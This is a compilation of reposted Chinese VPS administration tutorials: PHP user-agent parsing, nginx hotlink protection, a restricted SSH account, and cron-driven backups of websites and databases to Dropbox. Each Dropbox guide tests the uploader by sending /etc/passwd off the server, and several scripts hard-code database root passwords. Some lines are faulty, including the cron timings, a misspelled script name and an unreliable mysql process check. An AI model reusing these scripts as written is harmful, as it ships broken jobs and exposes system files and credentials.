        if(ereg('Mozilla', $Agent) && ereg('Firefox', $Agent))
        {
            $temp = explode('(', $Agent);
            $Part = $temp[1];
            $temp = explode('/', $Part);
            $browserver = $temp[2];
            $temp = explode(' ', $browserver);
            $browserver = $temp[0];
            $browserver = $browserver;
            $browser = 'Firefox';
        }
        if(ereg('Mozilla', $Agent) && ereg('Opera', $Agent)) 
        {
            $temp = explode('(', $Agent);
            $Part = $temp[1];
            $temp = explode(')', $Part);
            $browserver = $temp[1];
            $temp = explode(' ', $browserver);
            $browserver = $temp[2];
            $browserver = $browserver;
            $browser = 'Opera';
        }
        if(ereg('Mozilla', $Agent) && ereg('MSIE', $Agent))
        {
            $temp = explode('(', $Agent);
            $Part = $temp[1];
            $temp = explode(';', $Part);
            $Part = $temp[1];
            $temp = explode(' ', $Part);
            $browserver = $temp[2];
            $browserver = $browserver;
            $browser = 'Internet Explorer';
        }
        if($browser != '')
        {
            $browseinfo = $browser.' '.$browserver;
        } 
        else
        {
            $browseinfo = $_SERVER['HTTP_USER_AGENT'];
        }
        return $browseinfo;
    }

这样,在你的站点根目录上就会生成mylogs.txt文件,你通过http://你的域名/mylogs.txt可以直接访问。

转自:LNMP防止图片盗链的方法
今天再介绍下如何lnmp架构下防止图片被其他网站盗链。

首先要检查/etc/nginx/nginx.conf或/etc/nginx/conf.d/example.com.conf有没有如下代码:

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ 
{ 
expires 30d; 
}

如果有的话把这段话删除,没有的话更好。

然后在/etc/nginx/conf.d/example.com.conf里添加如下防盗链代码:

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ 
{ 
valid_referers none blocked *.example.com *.youdao.com *.zhuaxia.com *.xianguo.com *.google.cn *.google.com *.google.com.tw *.google.com.sg *.google.com.hk *.bloglines.com image.soso.com cn.bing.com image.baidu.com *.feedburner.com *.feedsky.com; 
if ($invalid_referer) { 
rewrite ^/ http://www.tennfy.com/404.png; 
#return 404; 
} 
expires 30d; 
}

解释下以上代码:
第一行gif|jpg|jpeg|png……这些是您需要防止盗链的文件类型,您可以补充一些后缀类型;

第三行是你的网站的域名,就是说放行的域名,如果有多个,请添加,注意空格;

第五行是给盗链看到的图片,返回一个404.jpg,这个图片源地址是要可以外链的哦,不然,别人看到的也就一个XX。

保存文件,重启lnmp:

/etc/init.d/nginx restart

转载:Debian vps上开通最低权限的ssh账号
在某些特殊用途想,我们需要用到vps的ssh账号,但是直接使用root账户是不安全的,这时我们可以创建一个最低权限的ssh账户。

1,登陆VPS,创建一个登录脚本:

vi /bin/nologin.sh

文件中添加以下内容

#!/bin/sh
echo ""
echo "  ***********************************************************"
echo "  * Sorry,you can't Login by this way, press a key to exit. *" 
echo "  ***********************************************************"
echo ""
read x
exit

写完之后按esc,输入:wq回车保存。

2、为此文件添加执行权限:

chmod 755 /bin/nologin.sh

3、添加一个用户到nogroup组,并且指定它的启动脚本:

useradd username -g nogroup -s /bin/nologin.sh

其中username修改为你的用户名

修改密码

passwd username

根据提示输入两遍新密码即可创建成功。

4、删除该用户

userdel -r username

5、显示所有用户

awk -F: '{print $1}' /etc/passwd

(一)转载:定时备份VPS数据至Dropbox教程

之前介绍了Debian vps上使用axel多线程下载百度网盘资源,对应的是想介绍下如何将VPS上的数据上传至百度网盘上。不过百度网盘现在貌似关闭了PCS的API接口申请,使用起来比较麻烦。退而求其次,这里介绍下如何定时备份VPS数据至Dropbox中。

客户端法备份数据

1、安装及配置dropbox linux客户端

在VPS上安装linux命令行版本的dropbox:

32-bit:
cd ~ && wget -O - "https://www.dropbox.com/download?plat=lnx.x86" | tar xzf -
 
64-bit:
cd ~ && wget -O - "https://www.dropbox.com/download?plat=lnx.x86_64" | tar xzf -

下载完成之后,运行dropbox

~/.dropbox-dist/dropboxd

第一次运行该命令,会提示访问URL,通过访问该URL就可以绑定VPS与dropbox账号。此时查看命令行,会提示绑定成功。

绑定之后,root目录下会自动创建名为Dropbox的文件夹,Dropbox会自动同步该文件夹内的文件。

2、使用dropbox linux客户端同步vps数据

我们一般备份网站数据及数据库数据,正常情况下网站WEB目录不在root文件夹下,我们可以通过软连接指向网站WEB目录,而数据库数据可以通过命令行导出,并通过软连接指向该文件。

为了方便区分目录,可以在Dropbox文件夹下新建backups文件夹,用于备份数据。

1)定时备份网站数据
将网站WEB目录连接到/Dropbox/backups文件夹下,假定/var/www/wordpress为网站web目录

cd ~/Dropbox/backups
ln -s /var/www/wordpress

2)定时备份数据库文件
新建一个定时备份数据库文件的脚本

vi ~/backup/mysqlbackup.sh

脚本内容如下:

echo "start mysql back up "${date} >> /root/backup/backup.log
mysqldump -uroot -p123456 wordpress >/root/backup/mysqlback.sql

其中,root为数据库的用户名,123456为数据库密码,wordpress为数据库名。

添加可执行权限

chmod a+x ~/backup/mysqlbackup.sh

将mysqlback.sql连接到/Dropbox/backups文件夹下

#!/bin/sh
cd ~/Dropbox/backups
ln -s ~/backup/mysqlback.sql

定时执行备份脚本文件,输入

crontab -e

添加以下内容

* 3 * * *  /root/backup/mysqlbackup.sh

3)定时开闭dropbox linux客户端
dropbox一直开着会占用vps的内存资源,没有必要一直开着,可以利用脚本定时运行和关闭dropbox。

创建脚本 ~/backup/dropboxswitch.sh

vi ~/backup/dropboxswitch.sh

内容如下

#!/bin/sh
date=`date +%Y%m%d_%H:%M:%S`
 
start() {
        echo "starting dropbox "${date} >> /root/backup/backup.log
        /root/dropbox/.dropbox-dist/dropbox &
        }
 
stop() {
        echo "stoping dropbox "${date} >> /root/backup/backup.log
        pkill dropbox
        }
 
case "$1" in
  start)
        start
        ;;
  stop)
        stop
        ;;
  restart)
        stop
        start
        ;;
  esac

添加可执行权限

chmod a+x ~/backup/dropboxswitch.sh

然后定时每天凌晨4点启动dropbox,6点关闭:

crontab -e

添加以下内容

* 4 * * * /root/backup/dropboxswitch.sh start
* 6 * * * /root/backup/dropboxswitc.sh stop

脚本法备份数据

1、创建Dropbox应用

首先,需要创建一个Dropbox应用,可以从该网址进行创建:https://www.dropbox.com/developers/apps/create

在这里,应用类型选择Dropbox API App,数据存储类型选择Files and datastores,权限选择Yes(应用只需要访问它创建的文件)。然后命名创建。

2、下载并执行dropbox_uploader.sh

dropbox_uploader 是一个第三方Dropbox备份脚本,首先下载脚本:

wget --no-check-certificate https://raw.githubusercontent.com/tennfy/Dropbox-Uploader/master/dropbox_uploader.sh
chmod a+x dropbox_uploader.sh

执行该脚本,绑定APP:

./dropbox_uploader.sh

根据提示输入Dropbox应用中的App key和App secret,许可类型选择a,确认y,复制给出的权限验证链接到浏览器,确认后回到终端按任意键完成。

之后可以执行下面的命令测试上传,提示Done就是绑定成功了:

./dropbox_uploader.sh upload /etc/passwd /backup/passwd.old

3、编写定时脚本

vi /root/backup.sh

内容如下:

#!/bin/bash
MYSQL_USER=root                            #mysql用户名
MYSQL_PASS=xxxxx                           #mysql密码
MYSQL_DATABASENAME=xxxxx                   #要备份的数据库名
WEB_DATA=/var/www/xxx                      #要备份的网站数据
#你要修改的地方从这里结束
# 定义备份存放目录
DROPBOX_DIR=/$(date +%Y-%m-%d) # Dropbox上的备份目录
LOCAL_BAK_DIR=/root/backup # 本地备份文件存放目录
#定义备份文件名字
DBBakName=Data_$(date +"%Y%m%d").tar.gz
WebBakName=Web_$(date +"%Y%m%d").tar.gz
# 定义旧数据名称
Old_DROPBOX_DIR=/$(date -d -3day +%Y-%m-%d)
OldDBBakName=Data_$(date -d -3day +"%Y%m%d").tar.gz
OldWebBakName=Web_$(date -d -3day +"%Y%m%d").tar.gz
#删除本地3天前的数据
rm -rf $LOCAL_BAK_DIR/$OldDBBakName $LOCAL_BAK_DIR/$OldWebBakName
./dropbox_uploader.sh delete $Old_DROPBOX_DIR/
#导出mysql数据库
mysqldump -u$MYSQL_USER -p$MYSQL_PASS $MYSQL_DATABASENAME > $LOCAL_BAK_DIR/wordpress.sql
#压缩数据库
tar zcvf $LOCAL_BAK_DIR/$DBBakName $LOCAL_BAK_DIR/wordpress.sql
rm -rf $LOCAL_BAK_DIR/wordpress.sql
#压缩网站数据
tar zcvf $LOCAL_BAK_DIR/$WebBakName $WEB_DATA
#开始上传
cd ~
./dropbox_uploader.sh upload $LOCAL_BAK_DIR/$DBBakName $DROPBOX_DIR/$DBBakName
./dropbox_uploader.sh upload $LOCAL_BAK_DIR/$WebBakName $DROPBOX_DIR/$WebBakName
echo -e "Backup Done!"

其中,用户可以根据自己的需求改编需要备份的目录,以及保留旧数据的时长(我这里设置的是3天)

如果mysql是编译安装,需要指定mysql的路径。

增加执行权限:

chmod +x /root/backup.sh

测试该备份脚本:

./backup.sh

4.设置定时任务

执行:

crontab –e

添加以下内容:

30 3 * * * /root/backup.sh

这样,就可以每天凌晨3:30自动备份到Dropbox了。

5.最后重启Crontab

service cron restart

重启之后就设置完成了

如果你不知道服务器当前时间,可以使用下面的命令,查看当前时间:

date -R

修改为当前时区

cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

即修改服务器时区为上海。

参考文章:
如何将VPS上的网站数据定时自动备份到Dropbox
利用dropbox备份vps数据

Dropbox用不了?

可以看看用快盘的:https://github.com/wujiwh/kuaipan_uploader

(二)如何将VPS上的网站数据定时自动备份到Dropbox

本文所讲内容为如何将网站上的文件以及数据库中的内容定时自动备份到Dropbox上。

1.创建Dropbox应用

首先,需要创建一个Dropbox应用(Dropbox目前需要翻墙),可以从该网址进行创建:https://www.dropbox.com/developers/apps/create

在这里,应用类型选择Dropbox API App,数据存储类型选择Files and datastores,权限选择Yes(应用只需要访问它创建的文件)。然后命名创建。

2.下载并执行dropbox_uploader.sh

dropbox_uploader 是一个第三方Dropbox备份脚本,首先下载脚本:

curl "https://raw.githubusercontent.com/andreafabrizi/Dropbox-Uploader/master/dropbox_uploader.sh" -o dropbox_uploader.sh

然后,为该脚本添加执行权限:

chmod +x dropbox_uploader.sh

执行该脚本,绑定APP:

./dropbox_uploader.sh

根据提示输入Dropbox应用中的App key和App secret,许可类型选择a,确认y,复制给出的权限验证链接到浏览器,确认后回到终端按任意键完成。
dropbox_uploader1
之后可以执行下面的命令测试上传,提示Done就是绑定成功了:

./dropbox_uploader.sh upload /etc/passwd /backup/passwd.old

3.编写备份脚本

编写定时备份脚本,取名为backup.sh。其代码如下:

#!/bin/bash
 
# 定义需要备份的目录
WEB_DIR=/home/www # 网站数据存放目录
 
# 定义备份存放目录
DROPBOX_DIR=/$(date +%Y-%m-%d) # Dropbox上的备份目录
LOCAL_BAK_DIR=/home/backup # 本地备份文件存放目录
 
# 定义备份文件名称
DBBakName=DB_$(date +%Y%m%d).tar.gz
WebBakName=Web_$(date +%Y%m%d).tar.gz
 
# 定义旧数据名称
Old_DROPBOX_DIR=/$(date -d -7day +%Y-%m-%d)
OldDBBakName=DB_$(date -d -10day +%Y%m%d).tar.gz
OldWebBakName=Web_$(date -d -10day +%Y%m%d).tar.gz
 
cd $LOCAL_BAK_DIR
 
#使用命令导出数据库
mongodump --out $LOCAL_BAK_DIR/mongodb/ --db bastogne
 
#压缩数据库文件合并为一个压缩文件
tar zcf $LOCAL_BAK_DIR/$DBBakName $LOCAL_BAK_DIR/mongodb
rm -rf $LOCAL_BAK_DIR/mongodb
 
#压缩网站数据
cd $WEB_DIR
tar zcf $LOCAL_BAK_DIR/$WebBakName ./*
 
cd ~
#开始上传
./dropbox_uploader.sh upload $LOCAL_BAK_DIR/$DBBakName $DROPBOX_DIR/$DBBakName
./dropbox_uploader.sh upload $LOCAL_BAK_DIR/$WebBakName $DROPBOX_DIR/$WebBakName
 
#删除旧数据
rm -rf $LOCAL_BAK_DIR/$OldDBBakName $LOCAL_BAK_DIR/$OldWebBakName
./dropbox_uploader.sh delete $Old_DROPBOX_DIR/
 
echo -e "Backup Done!"

其中,用户可以根据自己的需求改编需要备份的目录,以及保留旧数据的时长(比如我这里设置的是Dropbox保留7天,本地保留10天)。

接下来,为这个备份脚本增加执行权限:

chmod +x backup.sh

测试该备份脚本:

./backup.sh

4.设置定时任务

执行:

crontab –e

添加:

30 3 * * * /root/backup.sh

这样,就可以每天凌晨3:30自动备份到Dropbox了。

5.最后重启Crontab

service cron restart

重启之后就设置完成了

如果你不知道服务器当前时间,可以使用下面的命令,查看当前时间:

date -R

修改当前时区:

cp /usr/share/zoneinfo/主时区/次时区 /etc/localtime

例如:

cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime

即修改服务器时区为上海。

6.Reference

本文部分内容参考自:

https://timeting.com/27/use-scripts-auto-backup-vps-to-dropbox/

http://www.pythoner.com/324.html

https://gist.github.com/tonek/5383455

3.全自动定时备份VPS数据到Dropbox

相关脚本

nano backup.sh

放到哪里无所谓,记得赋予执行权限就可以了chmod +x backup.sh

#!/bin/bash
# Settings
DROPBOX_DIR="/Backups" #Dropbox中的文件夹名称
BACKUP_SRC="/home/wwwroot/website /home/wwwroot/database" #需要备份的文件夹路径,可以同时指定多个,32MB.CN用了Sqlite数据库,Sqlite以文件形式存放,故也要备份
BACKUP_DST="/miniVPS" #用来存放备份的文件夹路径
MYSQL_SERVER="127.0.0.1" #连接本地MySQL
MYSQL_USER="root" #本地MySQL的用户
MYSQL_PASS="123456" #本地MySQL的密码

# Stop editing here
NOW=$(date +"%Y.%m.%d")
DESTFILE="$BACKUP_DST/$NOW.tgz"
LAST=$(date -d "2 months ago" +"%Y.%m.%d") #这里的时间可以根据需要进行修改,如"3 months ago"

# Backup files
ps -e | grep -c mysql
if [ $? -eq 0 ]; then
  echo "Dumping databases..."
  /web/mysql/bin/mysqldump -u $MYSQL_USER -h $MYSQL_SERVER -p$MYSQL_PASS --all-databases > "$BACKUP_DST/$NOW-Databases.sql" #这里的命令路径可以根据需要进行修改
else
  echo "ERROR. Now exiting..."
  exit 1
fi

if [ $? -eq 0 ]; then
  echo "Packing files..."
  tar -czf "$DESTFILE" $BACKUP_SRC "$BACKUP_DST/$NOW-Databases.sql"
else
  echo "ERROR. Now exiting..."
  exit 1
fi

if [ $? -eq 0 ]; then
  /home/backup/dropbox_uploader.sh upload "$DESTFILE" "$DROPBOX_DIR/$NOW.tgz" #这里的脚本路径可以根据需要进行修改
else
  echo "ERROR. Now exiting..."
  exit 1
fi

# Delete old files
if [ $? -eq 0 ]; then
  /home/backup/dropbox_uploader.sh delete "$DROPBOX_DIR/$LAST.tgz" #这里的脚本路径可以根据需要进行修改
else
  echo "ERROR. Now exiting..."
  exit 1
fi

if [ $? -eq 0 ]; then
  echo "Cleaning the backups..."
  rm -f "$BACKUP_DST/$NOW-Databases.sql"
  rm -f "$BACKUP_DST/$LAST.tgz"
else
  echo "ERROR. Now exiting..."
  exit 1
fi

其中的dropbox_uploader.sh是Dropbox上传下载脚本,
主页:http://www.andreafabrizi.it/?dropbox_uploader

apt-get install git
git clone http://github.com/andreafabrizi/Dropbox-Uploader.git
cd Dropbox-Uploader
chmod +x dropbox_uploader.sh
mv dropbox_uploader.sh /home/backup/

初始化脚本,并按照脚本中的提示到对应的Dropbox的网页中创建API,在脚本的交互界面中输入生成的Key

./dropbox_uploader.sh

申请Dropbox访问API

允许API访问你的Dropbox

初始化完成以后,便可以立即执行一次backup.sh脚本进行备份了

/home/backup/backup.sh

定时任务
光弄好了脚本可不行,没添加定时任务怎么定时备份。

crontab -e

设置为每天执行一次备份,具体时间可以根据需要进行修改

30 1 * * * sh /home/backup/bbackup.sh

from